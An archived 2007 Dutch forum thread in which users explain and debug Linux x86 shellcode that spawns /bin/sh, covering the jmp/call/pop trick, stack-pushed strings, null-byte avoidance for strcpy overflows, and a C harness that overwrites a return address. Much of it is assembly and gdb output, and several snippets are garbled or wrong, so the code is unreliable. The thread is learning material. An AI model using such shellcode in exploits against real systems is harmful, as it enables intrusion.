Archief - De topics van lang geleden

Vinden van de shellcode in het geheugen

26-03-2007, 13:55 door Anoniem, 10 reacties
De shellcode wordt normaal gesproken ingevoegd in een kwetsbaaar
programma met behulp van een shell argument, een omgevingsvariabele
of een getypte string. Hoe dan ook, wanneer je shellcode maakt, weet je
niet welk adres deze zal gebruiken. Desalniettemin moeten we
het "/bin/sh" string adres kennen. Een trucje zorgt er voor dat we dit kunnen
krijgen.

Wanneer een subroutine wordt aangeroepen met de instructie call,
bewaart de CPU het retouradres in de stack, dat is het adres dat direct op
deze call instructie volgt (zie hierboven). Normaal gesproken is de
volgende stap het bewaren van de gegevens stack staat (vooral het %ebp
register met de push %ebp instructie). Om het retouradres te krijgen
wanneer je de subroutine start, is het voldoende om te "on-stacken" met
de instructie pop. Hierna bewaren we natuurlijk onze "/bin/sh" string
meteen na de call instructie om onze "doe het zelf proloog" toe te staan
ons te voorzien van het benodigde string adres. Dat is:

beginning_of_shellcode:
jmp subroutine_call

subroutine:
popl %esi
...
(Shellcode itself)
...
subroutine_call:
call subroutine
/bin/sh

De subroutine is natuurlijk geen echte: of de execve() aanroep gaat goed
en het proces wordt vervangen door shell code, of hij gaat fout en de _exit()
functie beëindigt het programma. Het %esi register geeft ons het "/bin/sh"
string adres. Daarna is het voldoende om de array op te bouwen en deze
direct na de string te implementeren: z'n eerste onderdeel (op %
esi+8, /bin/sh lengte + een null byte) bevat de waarde van het %esi
register, en z'n tweede op %esi+12 een null adres (32 bit). De code zal er
nu als volgt uit zien:

popl %esi
movl %esi, 0x8(%esi)
movl $0x00, 0xc(%esi)

Het diagram 6 laat het gegevensgebied zien:

[ / ] [ n ] [ / ] [ s ] [ 0 ] [ ] [ ] [ ] [ 0 ] [ 0 ] [ 0 ] [ 0 ]

Nou is alleen de vraag wat houdt (Shellcode itself) in. Is dit alleen execve
(). Of hoef je dan alleen maar execve toe te voegen als:

beginning_of_shellcode:
jmp subroutine_call

subroutine:
pop %esi
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
subroutine_call:
call subroutine
/bin/sh

Bron: http://www.linuxfocus.org/Nederlands/March2001/article183.shtml
Reacties (10)
26-03-2007, 14:04 door Anoniem
Ìk snap echt helemaal niet wat nou je vraag is, maar ik zal een poging
wagen:

Dat JMP/Call truckje wordt alleen gebruikt om een pointer naar je string te
bemachtigen. Dit kan ook op andere, veel makkelijkere manieren zoals
gewoon pushen of op andere locaties in het geheugen op te slaan (denk
hierbij aan environment variabelen).

De shellcode is de hele reeks operating instructies die is ontstaan aan de
hand van de code die je uit wilt voeren. Dit kan een execve call zijn, een
gebruiker schrijven in het passwd bestand of whatever je wilt.
26-03-2007, 14:58 door pikah
Dat wat jij hierboven beschrijft is de assembly code, de
shellcode kan je krijgen door deze code te compileren met bv
nasm.

Hierna objdump -d ./joubinary en je krijgt bytecode te zien.
Deze achter elkaar gezet geeft je shellcode, waarin geen
0x00 mag staan aangezien de compiler dit ziet als een
ofwel einde van de string.
26-03-2007, 15:58 door Anoniem
Ìk snap echt helemaal niet wat nou je vraag is, maar ik zal een
poging wagen:

Thx!, Pikah Ik dacht dat je nog shellcode moest toevoegen of aanroepen
van bin/sh. Die op een of andere manier aangeroepen moest worden in de
(Shellcode itself). Dah van die 0x00 is geen probleem dat staat trouwens
ook goed beschreven in dat artikel.

Dit kan ook op andere, veel makkelijkere manieren zoals
gewoon pushen of op andere locaties in het geheugen op te slaan (denk
hierbij aan environment variabelen).

Bedankt dat met dat pushen en zo dat is nog nieuw. Hopelijk zijn er ook
nog andere artikelen die op die technieken dieper op ingaan.
26-03-2007, 17:42 door Anoniem
Direct /bin/sh op de stack pushen is niet zo moeilijk. Zoals je weet wil
execve een programma om uit te voeren in %ebx, als een pointer naar
een string. Je weet dat strings in C met een NULL byte af worden
gesloten dus we xor'en eerst benodigde registers:

xor %eax, %eax
xor %edx, %edx (is voor environment, gebruiken we niet dus NULL)

Vervolgens prepareren we de string in het geheugen:
[0x00]/bin//sh (die 2 slashes zijn ervoor omdat er in veelvoud van 4 bytes
wordt gewerkt. We krijgen dus de volgende code:

push %eax (dat wordt onze NULL byte om de string af te sluiten)
push $0x68732f2f (hs//)
push $0x6e69622f (nib/)

De stack pointer wijst nu aan het begin van de string, dus die zetten we in
%ebx

mov %esp, %ebx

Nu moeten we nog een array van pointers (als argument) in %ecx zetten.
Dit is vrij eenvoudig: "/bin//sh", NULL dus:

push %eax (NULL byte om de array af te sluiten)
push %ebx (onze pointer naar /bin//sh)

Dit stoppen we in %ecx:

push %esp, %ecx

en vervolgens kunnen we de system call aanroepen:

mov $0xb, %al
int $0x80

ps. Wel even opletten dat ik gebruik maak van een andere assembler
syntax (at&t en niet intel)
26-03-2007, 17:53 door Anoniem
Ow en nog even een toevoeging:
1. Het truckje met environment variabelen is ook vrij simpel. Het gaat
ervan uit dat je stack op een fixed size locatie begint, zodat je met een
simpele offset berekening de locate van je string uit kunt rekenen.

check: http://www.ouah.org/envpaper.pdf voor meer info

2.

Deze achter elkaar gezet geeft je shellcode, waarin geen
0x00 mag staan aangezien de compiler dit ziet als een
ofwel einde van de string.

Je compiler ziet dit niet als het einde van je string, maar de functie
waarmee je een stack based overflow wil triggeren... bijvoorbeeld strcpy()
26-03-2007, 18:10 door Anoniem
Dat wat jij hierboven beschrijft is de assembly code, de
shellcode kan je krijgen door deze code te compileren met bv
nasm.

Daar had ik trouwens nog een vraagje over.

Want heb dat gedoe omgezet na nasm met :

---------------------------------------

section .text
global _start:

label_one:
jmp label_three

label_two:
pop esi
mov eax,1
mov ebx,0
int 0x80

label_three:
call label_two
shellcode db "/bin/sh"

---------------------------------------

Dat gecompilerd met nams en gedugged met gdb.

Dan zegt die
(gdb) disas _start
dump of assembler code for function label one:
0x80480 (label_one): Jmp 0x8048092 (label_three)
End of assembler dump.
(gdb)x/s 0x8048092
0x80488092 (label_three) : "eiyyy/bin/sh"< address 0x80489e out of
bounds"

Betekend dat 0x80489e het adress is van /bin/sh? Want als ik dat stukje
code compiler uit dat artikel zonder exit aan te roepen. Geeft die:

(gdb) r
starting program /home/asm/a.out

program recieved signal SIGINT , Interrupt .
0x08048086 in label_three ()
(gdb) x/s 0x8048086
0x8048086 (label_three): "euyyy/bin/sh"

En dan is die in een keer niet adress out of bounds.
26-03-2007, 21:00 door Anoniem
1. Het truckje met environment variabelen is ook vrij simpel. Het
gaat
ervan uit dat je stack op een fixed size locatie begint, zodat je met een
simpele offset berekening de locate van je string uit kunt rekenen.

check: http://www.ouah.org/envpaper.pdf voor meer info

Goede link. En mooie andere benadering dan in die link van linuxfocus.org.
Wel iritant trouwens dat die geschreven is in AT & T assembly code en het
steeds terug draaien na nasm. Want daar beschrijven ze volgens mij ook
met:

----------------------------------------

Kwetsbare functies zijn vaak string manipulatie routines zoals strcpy(). Om
de code te implementeren in het midden van de doelapplicatie, moet de
shellcode gekopieerd worden als string. Echter, deze kopieer routines
houden op zodra ze een null karakter tegenkomen. Daarom moet onze
code geen null karakter bevatten. Door gebruik te maken van enkele trucs,
kunnen we zorgen dat we geen null bytes schrijven. Bijvoorbeeld de
volgende instructie:

movl $0x00, 0x0c(%esi)


zal vervangen worden door
xorl %eax, %eax
movl %eax, %0x0c(%esi)

--------------------------------------------

Wel grappig om te zien dat het compleet andere waardes zijn. En andere
benadering.
27-03-2007, 08:52 door pikah
Door Solid
section .text
global _start:

label_one:
jmp label_three

label_two:
pop esi
mov eax,1
mov ebx,0
int 0x80

label_three:
call label_two
shellcode db "/bin/sh"


mov eax,1
mov ebx,0
int 0x80

Dit gedeelte verwijst naar de exit() system call in je
kernel... geen execve() dus. Die heeft namelijk in eax
nummer 11 (0xb) nodig.

Zoals te vinden in /usr/include/asm/unistd.h
27-03-2007, 09:18 door Anoniem
mov eax,1
mov ebx,0
int 0x80

Dit gedeelte verwijst naar de exit() system call in je
kernel... geen execve() dus. Die heeft namelijk in eax
nummer 11 (0xb) nodig.

Zoals te vinden in /usr/include/asm/unistd.h

Jah dat klopt dat dee ik expres om omdat het programma craste met
signal SIGINT. Dus ben toen gaan kijken of ik em kon laten stoppen bij dat
adress door exit toe te voegen.

ps. Wel even opletten dat ik gebruik maak van een andere assembler
syntax (at&t en niet intel)

Jah had het gezien dat is ook enorm verwarrend trouwens. De uitleg was perfect en glas helder. Thx!
27-03-2007, 13:12 door Anoniem
Hmmm thx allemaal! Het is gelukt :D

-----------------------------------------------------------------------

#include (studio.h)

char shellcode[] = "x31xc0xebx01x5exe8xfaxffxffxff"
x2fx62x69x6ex2fx73x68"

int main(){
int *ret;
* ((int * ) & ret + 2 = (int) shellcode;
return 0;
}
-----------------------------------------------------------------------

linux#gdb mem

GNU gdb 5.3
GDB is free software, covered by the GNU General Public License,and you
are
welcome to chage it and/or distribute copies o f it under certian conditions.
type "show copying" to see the conditions.
There is absolutely no warranty for GDB. "Type show warranty" for details.
This GDB was configured as "i58-suse-linux"...
(gdb) r
Starting program: /home/asm/mem

Program exited normally.
(gdb) r
Starting program :/home/c

Program received signal SIGINT, Interupt.
0x08049414 in shellcode ()
(gdb) backtrace
#0 0x8049414 in shellcode ()
#1 0x804914a in shellcode ()
(gdb) x/s 0x804941a
0x804941a (shellcode+10): "/bin/sh"
(gdb)x/100 $esp-100
0xbffff378: 0xbfffff398 0x804914a 0x0000001 0xbffff3c4
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.